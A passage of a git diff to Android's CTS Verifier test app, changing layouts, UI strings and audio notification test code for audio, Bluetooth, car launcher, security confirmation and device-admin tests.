+              android:text="@string/audio_routingnotification_recStopBtn"/>
       </LinearLayout>
     </LinearLayout>
 
diff --git a/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml b/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
index 49eb3cb..1cdb131 100644
--- a/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
+++ b/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
@@ -50,12 +50,6 @@
           android:layout_height="wrap_content"
           android:id="@+id/audio_routingnotification_audioTrack_change"/>
 
-      <TextView
-          android:layout_width="match_parent"
-          android:layout_height="wrap_content"
-          android:textSize="20sp"
-          android:id="@+id/audio_routingnotification_testresult"/>
-
       <LinearLayout
           android:layout_width="wrap_content"
           android:layout_height="wrap_content"
@@ -64,13 +58,13 @@
               android:layout_width="wrap_content"
               android:layout_height="wrap_content"
               android:id="@+id/audio_routingnotification_playBtn"
-              android:text="@string/audio_general_play"/>
+              android:text="@string/audio_routingnotification_playBtn"/>
 
           <Button
               android:layout_width="match_parent"
               android:layout_height="wrap_content"
               android:id="@+id/audio_routingnotification_playStopBtn"
-              android:text="@string/audio_general_stop"/>
+              android:text="@string/audio_routingnotification_playStopBtn"/>
       </LinearLayout>
     </LinearLayout>
 
diff --git a/apps/CtsVerifier/res/layout/ble_advertising_set.xml b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
new file mode 100644
index 0000000..9955848
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content">
+    <TextView android:text="@string/ble_advertising_set_test_instruction"
+              android:id="@+id/ble_advertising_set_test_instruction"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content"
+              android:scrollbars="vertical"/>
+    <Button android:id="@+id/ble_advertising_set_start_test"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_below="@id/ble_advertising_set_test_instruction"
+            android:text="@string/ble_advertising_set_start_test"/>
+    <ListView android:id="@+id/ble_advertising_set_tests"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content"
+              android:layout_below="@id/ble_advertising_set_start_test"
+              android:layout_above="@id/pass_fail_buttons"
+              android:padding="10dip"/>
+    <include android:layout_width="match_parent"
+             android:layout_height="wrap_content"
+             android:layout_alignParentBottom="true"
+             layout="@layout/pass_fail_buttons"/>
+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/bt_background_rfcomm.xml b/apps/CtsVerifier/res/layout/bt_background_rfcomm.xml
new file mode 100644
index 0000000..d63cbaa
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/bt_background_rfcomm.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <TextView
+        android:id="@+id/bt_background_rfcomm_text"
+        style="@style/InstructionsSmallFont"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_alignParentTop="true"
+        android:gravity="center"
+        android:text="@string/bt_background_rfcomm_test_start_client" />
+
+    <include
+        layout="@layout/pass_fail_buttons"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_alignParentBottom="true" />
+
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/bt_background_rfcomm_client.xml b/apps/CtsVerifier/res/layout/bt_background_rfcomm_client.xml
new file mode 100644
index 0000000..0c9cf2f
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/bt_background_rfcomm_client.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <TextView
+        android:id="@+id/bt_background_rfcomm_client_text"
+        style="@style/InstructionsSmallFont"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_alignParentTop="true"
+        android:gravity="center"
+        android:text="@string/bt_background_rfcomm_test_connecting_to_server" />
+
+    <include
+        layout="@layout/pass_fail_buttons"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_alignParentBottom="true" />
+
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/car_launcher_test_main.xml b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
new file mode 100644
index 0000000..675e610
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical"
+              android:gravity="center_horizontal"
+              style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="1"
+        android:orientation="vertical">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="center_horizontal"
+            android:orientation="vertical" >
+
+            <TextView
+                android:id="@+id/car_launcher_test_description"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:padding="10dp"
+                android:text="@string/car_launcher_test_desc"
+                style="@style/InstructionsSmallFont"/>
+
+            <Button
+                android:id="@+id/car_launcher_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/car_launcher_test_button_label"
+                android:layout_margin="24dp"/>
+        </LinearLayout>
+    </ScrollView>
+
+    <include
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="0"
+        layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
index ffa8d46..90a2c58 100644
--- a/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
+++ b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
@@ -68,6 +68,56 @@
 
     </LinearLayout>
 
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                  android:id="@+id/sec_protected_confirmation_tee_negative_layout"
+                  android:layout_width="wrap_content"
+                  android:layout_height="wrap_content"
+                  android:padding="10dp"
+                  android:orientation="horizontal"
+                  android:layout_centerInParent="true"
+                  android:layout_below="@id/sec_protected_confirmation_strongbox_layout"
+                  android:gravity="center"
+                  >
+
+        <Button android:id="@+id/sec_start_tee_negative_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sec_protected_confirmation_tee_negative_test"
+        />
+
+        <ImageView android:id="@+id/sec_protected_confirmation_tee_negative_test_success"
+                   android:layout_width="wrap_content"
+                   android:layout_height="wrap_content"
+                   android:src="@drawable/fs_good"
+        />
+
+    </LinearLayout>
+
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                  android:id="@+id/sec_protected_confirmation_strongbox_negative_layout"
+                  android:layout_width="wrap_content"
+                  android:layout_height="wrap_content"
+                  android:padding="10dp"
+                  android:orientation="horizontal"
+                  android:layout_centerHorizontal="true"
+                  android:layout_below="@id/sec_protected_confirmation_tee_negative_layout"
+                  android:gravity="center"
+                  >
+
+        <Button android:id="@+id/sec_start_test_strongbox_negative_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sec_protected_confirmation_strongbox_negative_test"
+        />
+
+        <ImageView android:id="@+id/sec_protected_confirmation_strongbox_negative_test_success"
+                   android:layout_width="wrap_content"
+                   android:layout_height="wrap_content"
+                   android:src="@drawable/fs_good"
+        />
+
+    </LinearLayout>
+
     <include android:layout_width="match_parent"
              android:layout_height="wrap_content"
              android:layout_alignParentBottom="true"
diff --git a/apps/CtsVerifier/res/values-car/dimens.xml b/apps/CtsVerifier/res/values-car/dimens.xml
deleted file mode 100644
index b6083e4..0000000
--- a/apps/CtsVerifier/res/values-car/dimens.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2021 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<resources>
-    <!-- According to automotive guidelines, touch targets needs to be at least 76dp wide -->
-    <!-- Please refer to https://source.android.com/devices/automotive/hmi/car_ui/appendix_b -->
-    <dimen name="display_cutout_test_button_size">76dp</dimen>
-</resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 8b768fb..587f6a2 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -180,6 +180,24 @@
         framework correctly tries to open the CAR_DOCK app again.</string>
     <string name="car_mode_enable">Enable Car Mode</string>
     <string name="car_dock_activity_text">Press the Home button</string>
+    <string name="car_launcher_test">Car Launcher Test</string>
+    <string name="car_launcher_test_desc">This test ensures that the car launcher lists apps
+        disabled by car service due to system resource overuse.\n\n
+        <b>
+            Before proceeding, check if \'com.android.cts.car.watchdog_companionapp\'
+            (aka CtsCarWatchdogCompanionApp) is installed by going to Settings &gt; Apps. If not,
+            please install the app before proceeding.\n\n
+        </b>
+        1. Check if the CtsCarWatchdogCompanionApp is visible in car launcher\'s app grid view. If
+        it is not listed, pass the test.\n
+        2. Run the
+        \'adb shell cmd car_service watchdog-resource-overuse-kill com.android.cts.car.watchdog_companionapp\'
+        shell command to disable the app because of system resource overuse.\n
+        3. Click on \"Open Launcher\". Make sure the CtsCarWatchdogCompanionApp is displayed. If it
+        is not listed, fail the test.\n
+        4. Open CtsCarWatchdogCompanionApp from the launcher.\n\n
+        Pass the test only if the companion app opened successfully.</string>
+    <string name="car_launcher_test_button_label">Open Launcher</string>
     <string name="gear_selection_test">Gear Selection Test</string>
     <string name="gear_selection_test_desc">This test ensures that the
       GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
@@ -328,6 +346,9 @@
     <string name="biometric_test_set_user_authentication_credential_mac_label">4g: MAC, Credential</string>
     <string name="biometric_test_set_user_authentication_biometric_mac_label">4h: MAC, Biometric</string>
     <string name="biometric_test_set_user_authentication_biometric_or_credential_mac_label">4i: MAC, Biometric|Credential</string>
+    <string name="biometric_test_set_user_authentication_credential_aead_cipher_label">4j: Aead Cipher, Credential</string>
+    <string name="biometric_test_set_user_authentication_biometric_aead_cipher_label">4k: Aead Cipher, Biometric</string>
+    <string name="biometric_test_set_user_authentication_biometric_credential_aead_cipher_label">4l: Aead Cipher, Biometric or Credential</string>
     <string name="biometric_test_set_user_authentication_credential_instructions">This test checks the correctness of the KeyGenParameterSpec.Builder#setUserAuthenticationParameters(int, int) API for AUTH_DEVICE_CREDENTIAL.
         Buttons for completed tasks will become invisible. It\'s normal for buttons to be disabled for a few seconds during this test.</string>
     <string name="biometric_test_set_user_authentication_biometric_instructions">This test checks the correctness of the KeyGenParameterSpec.Builder#setUserAuthenticationParameters(int, int) API for AUTH_BIOMETRIC_STRONG.
@@ -380,6 +401,8 @@
     <string name="sec_protected_confirmation_message">This is a CtsVerifier test message!</string>
     <string name="sec_protected_confirmation_tee_test">Start Tee Test</string>
     <string name="sec_protected_confirmation_strongbox_test">Start Strongbox Test</string>
+    <string name="sec_protected_confirmation_tee_negative_test">Start Tee Negative Test</string>
+    <string name="sec_protected_confirmation_strongbox_negative_test">Start Strongbox Negative Test</string>
 
     <!-- Strings for IdentityAuthPerPresenation -->
     <string name="sec_identity_credential_authentication_test">Identity Credential Authentication</string>
@@ -388,6 +411,12 @@
         authentication with timeout 0 can only be accessed once per reader session.
     </string>
 
+    <!-- Strings for IdentityAuthPerPresenationMultiDocument -->
+    <string name="sec_identity_credential_authentication_multi_document_test">Identity Credential Authentication Multi-Document</string>
+    <string name="sec_identity_credential_authentication_multi_document_test_info">
+        This test is for Identity Credential presentations with multiple documents.
+    </string>
+
     <string name="sec_unlocked_device_required_test">Unlocked Device Required</string>
     <string name="sec_unlocked_device_required_test_info">
         This test ensures that keys created with setUnlockedDeviceRequired are usable when the
@@ -422,6 +451,7 @@
     <string name="bt_le">Bluetooth LE</string>
     <string name="bt_hid">Bluetooth HID</string>
     <string name="bt_le_coc">Bluetooth LE CoC</string>
+    <string name="bt_background_rfcomm">Bluetooth Background RFCOMM</string>
 
     <string name="bt_toggle_bluetooth">Toggle Bluetooth</string>
     <string name="bt_toggle_instructions">Disable and enable Bluetooth to successfully complete this test.</string>
@@ -467,6 +497,19 @@
         \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
         \nWhen the test is complete, move to the next item. You must complete all tests.
     </string>
+    <string name="bt_background_rfcomm_test_name">Bluetooth Background RFCOMM Test</string>
+    <string name="bt_background_rfcomm_test_info">
+        This test verifies that system applications can register RFCOMM listeners via the
+        BluetoothAdapter without needing a foreground service.
+    </string>
+    <string name="bt_background_rfcomm_test_client_name">Bluetooth Background RFCOMM Test Client</string>
+    <string name="bt_background_rfcomm_test_client_info">
+        Run by a second phone which acts as the RFCOMM client to connect to the rfcomm listener.
+        This phone should be paired with the primary phone which runs the Bluetooth Background
+        RFCOMM Test.
+    </string>
+    <string name="bt_background_rfcomm_test_uuid">1bd18454-462a-4117-bd58-77cb4d81ddbe</string>
+    <string name="bt_background_rfcomm_test_message">Test Message</string>
 
     <!-- BLE CoC client side strings -->
     <string name="ble_coc_client_test_name">01 Bluetooth LE CoC Client Test</string>
@@ -585,6 +628,13 @@
     <string name="bt_unpair">Device must be unpaired via Bluetooth settings before completing the test.\n\nUnpair the device in settings, make the server discoverable, and rescan to pick this device.</string>
     <string name="bt_settings">Bluetooth Settings</string>
 
+    <string name="bt_background_rfcomm_test_start_client">On the client device: enable (or toggle) Bluetooth and connect to this device, then start the client test.</string>
+    <string name="bt_background_rfcomm_test_socket_received">Received client connection.</string>
+    <string name="bt_background_rfcomm_test_sending_message">Sending test message.</string>
+    <string name="bt_background_rfcomm_test_waiting_for_message">Waiting for message.</string>
+    <string name="bt_background_rfcomm_test_connecting_to_server">Connecting to server.</string>
+    <string name="bt_background_rfcomm_test_doing_sdp">Doing service discovery of server.</string>
+
     <!-- BLE client side strings -->
     <string name="ble_client_service_name">Bluetooth LE GATT Client Handler Service</string>
     <string name="ble_client_test_name">01 Bluetooth LE Client Test</string>
@@ -598,6 +648,7 @@
     <string name="ble_read_descriptor_name">Bluetooth LE Read Descriptor</string>
     <string name="ble_write_descriptor_name">Bluetooth LE Write Descriptor</string>
     <string name="ble_read_rssi_name">Bluetooth LE Read RSSI</string>
+    <string name="ble_read_phy_name">Bluetooth LE Read PHY</string>
     <string name="ble_on_service_changed">Bluetooth LE On Service Changed</string>
     <string name="ble_client_disconnect_name">Bluetooth LE Client Disconnect</string>
     <string name="ble_insecure_client_test_info">
@@ -729,6 +780,23 @@
     <string name="ble_scan_start">Start scan</string>
     <string name="ble_scan_stop">Stop scan</string>
 
+    <!-- BLE Advertising Set test strings -->
+    <string name="ble_advertising_set_test_name">Bluetooth LE Advertising Set Test</string>
+    <string name="ble_advertising_set_test_info">Bluetooth LE Advertising Set tests AdvertisingSet and AdvertisingSetCallback APIs.</string>
+    <string name="ble_advertising_set_test_instruction">Press the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
+    <string name="ble_advertising_set_start_test">Start Test</string>
+    <string name="ble_advertising_set_running_test">Running Test...</string>
+    <string name="ble_advertising_set_finished_test">Finished Test</string>
+    <string name="ble_advertising_set_start">Starting advertising set.</string>
+    <string name="ble_advertising_set_enable_disable">Enabling/Disabling advertising set.</string>
+    <string name="ble_advertising_set_advertising_data">Setting advertising data.</string>
+    <string name="ble_advertising_set_advertising_params">Setting advertising parameters.</string>
+    <string name="ble_advertising_set_periodic_advertising_data">Setting periodic advertising data.</string>
+    <string name="ble_advertising_set_periodic_advertising_enabled_disabled">Enabling/Disabling periodic advertising.</string>
+    <string name="ble_advertising_set_periodic_advertising_params">Setting periodic advertising parameters.</string>
+    <string name="ble_advertising_set_scan_response_data">Setting scan response data.</string>
+    <string name="ble_advertising_set_stop">Stopping advertising set.</string>
+
     <!-- BLE connection priority test strings -->
     <string name="ble_client_connection_priority">Testing connection priority switching </string>
     <string name="ble_server_connection_priority_result_passed">All test passed</string>
@@ -1065,6 +1133,9 @@
     <string name="nfc_not_enabled_message">These tests require NFC to be enabled. Click the
         button below to goto Settings and enable it.</string>
     <string name="nfc_settings">NFC Settings</string>
+    <string name="secure_nfc_enabled">\"Require device unlock for NFC\" is enabled!</string>
+    <string name="secure_nfc_enabled_message">These tests require \"Require device unlock for NFC\"
+        to be disabled. Click the button below to goto Settings and disable it.</string>
 
     <string name="ndef_push_not_enabled">NDEF Push is not enabled!</string>
     <string name="ndef_push_not_enabled_message">These tests require Android Beam to be enabled.
@@ -4190,6 +4261,34 @@
     <string name="disallow_outgoing_beam">Disallow outgoing beam</string>
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
+    <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+    <string name="check_new_user_disclaimer_info">
+        Please do the following: \n\n
+        1. Check persistent notification for managed device \n\n
+        a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+        b). Tap the notification\n
+        c). It should show a dialog explaining the device is managed and asking the user to accept \n
+        d). Don\'t accept initially and tap outside the dialog \n
+        e). Open the notification UI again, verify that the managed device notification is still shown \n
+        \n
+        f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+        \"Foo, Inc\" is shown on the dialog \n
+        \n\n
+        2. Check adding account is restricted\n\n
+        a) Click \"Go\" to launch the \"Profiles &amp; accounts\" setting \n
+        b) navigate to \"Add account\" \n
+        \n
+        Expected: \n
+        - \"Add account\" is disabled \n
+        - Click the button will launch the new user disclaimer dialog\n
+        \n
+        c) Click accept button\n
+        \n
+        Expected: \n
+        - the screen will be dismissed \n
+        - \"Add account\" will be enabled\n
+        - Click the button will take user to the screen to add account \n
+    </string>
     <string name="device_owner_disallow_remove_user_info">
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
         \'Set restriction\' button to set the user restriction.
@@ -4989,83 +5088,39 @@
     <string name="error_screen_pinning_did_not_exit">Screen was not unpinned.</string>
     <string name="error_screen_pinning_couldnt_exit">Could not exit screen pinning through API.</string>
 
+    <!--  Audio Devices Notifications Tests -->
+    <string name="audio_out_devices_notifications_test">Audio Output Devices Notifications Test</string>
+    <string name="audio_out_devices_notification_instructions">
+          Click the "Clear Messages" button then connect and disconnect a wired headset.
+          Note if the appropriate notification messages appear below.
+    </string>
+    <string name="audio_in_devices_notifications_test">Audio Input Devices Notifications Test</string>
+    <string name="audio_in_devices_notification_instructions">
+          Click the "Clear Messages" button then connect and disconnect a microphone or wired headset.
+          Note if the appropriate notification messages appear below.
+    </string>
     <string name="audio_dev_notification_clearmsgs">Clear Messages</string>
     <string name="audio_dev_notification_connectMsg">CONNECT DETECTED</string>
     <string name="audio_dev_notification_disconnectMsg">DISCONNECT DETECTED</string>
 
-    <!--  Audio Devices Notifications Tests -->
-    <string name="audio_devices_notification_instructions">
-          Connect and disconnect a wired headset.
-          Note if the appropriate notification messages appear below.
-          The \"Pass\" button will be enabled if device connect and disconnect messages are received.
-    </string>
-
-    <string name="audio_out_devices_notifications_test">Audio Output Devices Notifications Test</string>
-    <string name="audio_out_devices_infotext">Tests whether wired output peripheral
-        connect/disconnect notifications are correctly sent when output peripherals are
-        connected or disconnected. A \"wired output peripheral\" can be a headset or headphones
-        connected to an analog 3.5mm jack or the USB port or a USB audio interface connected to
-        the USB port.
-        \n\nTest Setup:
-        \nDisconnect any wired audio peripherals.
-        \n\nTest Process:
-        \n1. Verify that the DUT supports USB or Analog audio peripherals.
-        \n2. Press the \"Clear Messages\" button to clear any previously sent \"sticky\" notifications.
-        \n3. Connect a wired output peripheral. A connect message should appear. Disconnect the
-        audio peripheral. A disconnect message should appear.
-        \n\nTest Criteria:
-        \nThe test passes if either the device DOES NOT support wired output peripherals, or both
-        the connect and disconnect notifications are received.
-    </string>
-
-    <string name="audio_in_devices_notifications_test">Audio Input Devices Notifications Test</string>
-    <string name="audio_in_devices_infotext">Tests whether wired input peripheral
-        connect/disconnect notifications are correctly sent when input peripherals are
-        connected or disconnected. A \"wired input peripheral\" can be a headset connected to an
-        analog 3.5mm jack or the USB port or a USB audio interface connected to the USB port.
-        \n\nTest Setup:
-        \nDisconnect any wired audio peripherals.
-        \n\nTest Process:
-        \n1. Verify that the DUT supports USB or Analog audio peripherals.
-        \n2. Press the \"Clear Messages\" button to clear any previously sent \"sticky\" notifications.
-        \n3. Connect a wired output peripheral. A connect message should appear. Disconnect the
-        audio peripheral. A disconnect message should appear.
-        \n\nTest Criteria:
-        \nThe test passes if either the device DOES NOT support wired output peripherals, or both
-        the connect and disconnect notifications are received.
-    </string>
-
     <string name="audio_input_routingnotifications_test">Audio Input Routing Notifications Test</string>
     <string name="audio_input_routingnotification_instructions">
-        Test whether appropriate routing notifications are sent when audio input peripherals are
-        connected to the device.
-        \n\nTest Setup:
-        \nDisconnect any wired audio peripherals.
-        \n\nTest Process:
-        \n1. Verify that the DUT supports USB or Analog audio peripherals.
-        \n2. Press the \"Record\" button.
-        \n3. Connect a wired input peripheral. A connect routing message should appear.
-        \n4. Press the \"Stop\" button.
-        \n\nTest Criteria:
-        \nThe test passes if either the device DOES NOT support wired input peripherals, or
-        the routing notifications are received.
+          Click on the "Record" button in the AudioRecord Routing Notifications section below to
+          start recording. Insert a wired headset or microphone. Observe a message acknowledging the
+          rerouting event below. Remove the wired headset and observe the new routing message.
+          Click on the "Stop" button to stop recording.\n
     </string>
-
     <string name="audio_output_routingnotifications_test">Audio Output Routing Notifications Test</string>
     <string name="audio_output_routingnotification_instructions">
-        Test whether appropriate output routing notifications are sent when audio output peripherals are
-        connected to the device.
-        \n\nTest Setup:
-        \nDisconnect any wired audio peripherals.
-        \n\nTest Process:
-        \n1. Verify that the DUT supports USB or Analog audio peripherals.
-        \n2. Press the \"Play\" button.
-        \n3. Connect a wired output peripheral. A connect routing message should appear.
-        \n4. Press the \"Stop\" button.
-        \n\nTest Criteria:
-        \nThe test passes if either the device DOES NOT support wired output peripherals, or
-        the routing notifications are received.
+          Click on the "Play" button in the AudioTrack Routing Notifications section below to
+          start (silent) playback. Insert a wired headset. Observe a message acknowledging the
+          rerouting event below. Remove the wired headset and observe the new routing message.
+          Click on the "Stop" button to stop playback.\n
     </string>
+    <string name="audio_routingnotification_playBtn">Play</string>
+    <string name="audio_routingnotification_playStopBtn">Stop</string>
+    <string name="audio_routingnotification_recBtn">Record</string>
+    <string name="audio_routingnotification_recStopBtn">Stop</string>
     <string name="audio_routingnotification_playHeader">AudioTrack Routing Notifications</string>
     <string name="audio_routingnotification_recHeader">AudioRecord Routing Notifications</string>
     <string name="audio_routingnotification_trackRoutingMsg">AudioTrack rerouting</string>
@@ -5237,8 +5292,10 @@
     <string name="audio_general_start">Start</string>
     <string name="audio_general_stop">Stop</string>
 
+    <string name="audio_general_play">Play</string>
     <string name="audio_general_test">Test</string>
     <string name="audio_general_status">Status</string>
+    <string name="audio_general_record">Record</string>
     <string name="audio_general_recordLoopback">Record Loopback</string>
     <string name="audio_general_results">Results...</string>
     <string name="audio_general_pass">PASS</string>
@@ -5247,17 +5304,11 @@
     <string name="audio_general_Input">Input</string>
     <string name="audio_general_Output">Output</string>
 
-    <string name="audio_general_record">Record</string>
-    <string name="audio_general_play">Play</string>
-
     <string name="audio_general_JavaApi">Java API</string>
     <string name="audio_general_NativeApi">Native API</string>
 
     <string name="audio_general_clear_results">Clear Results</string>
 
-    <string name="audio_general_test_not_run">Test Not Run</string>
-    <string name="audio_general_testnotcompleted">Test not completed.</string>
-
     <!-- Audio Loopback Latency Test -->
     <string name="audio_loopback_latency_test">Audio Loopback Latency Test</string>
     <string name="audio_loopback_info">
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index 58151a6..6277a5e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -277,7 +277,7 @@
             if (mIsFromMainView) {
                 rows = mDisplayModesTests.get(sCurrentDisplayMode);
             }
-          
+
             return getRefreshResults(rows);
         }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
index 19b6194..cf88726 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
@@ -1,2 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
index 71d5103..64c2314 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
@@ -16,15 +16,21 @@
 
 package com.android.cts.verifier.audio;
 
+import com.android.cts.verifier.R;
+
 import android.content.Context;
+
 import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
-import android.os.Bundle;
-import android.view.View;
-import android.widget.TextView;
 
-import com.android.cts.verifier.R;
+import android.os.Bundle;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import android.widget.Button;
+import android.widget.TextView;
 
 /**
  * Tests Audio Device Connection events for output by prompting the user to insert/remove a
@@ -35,62 +41,50 @@
 
     TextView mConnectView;
     TextView mDisconnectView;
-    TextView mInfoView;
-
-    boolean mHandledInitialAddedMessage = false;
-    boolean mConnectReceived = false;
-    boolean mDisconnectReceived = false;
+    Button mClearMsgsBtn;
 
     private class TestAudioDeviceCallback extends AudioDeviceCallback {
         public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
-            // we will get this message when we setup the handler, so ignore the first one.
-            if (!mHandledInitialAddedMessage) {
-                mHandledInitialAddedMessage = true;
-                return;
-            }
             if (addedDevices.length != 0) {
                 mConnectView.setText(
-                        mContext.getResources().getString(R.string.audio_dev_notification_connectMsg));
-                mConnectReceived = true;
-                getPassButton().setEnabled(mConnectReceived && mDisconnectReceived);
+                    mContext.getResources().getString(R.string.audio_dev_notification_connectMsg));
             }
         }
 
         public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
             if (removedDevices.length != 0) {
                 mDisconnectView.setText(
-                        mContext.getResources().getString(
-                                R.string.audio_dev_notification_disconnectMsg));
-                mDisconnectReceived = true;
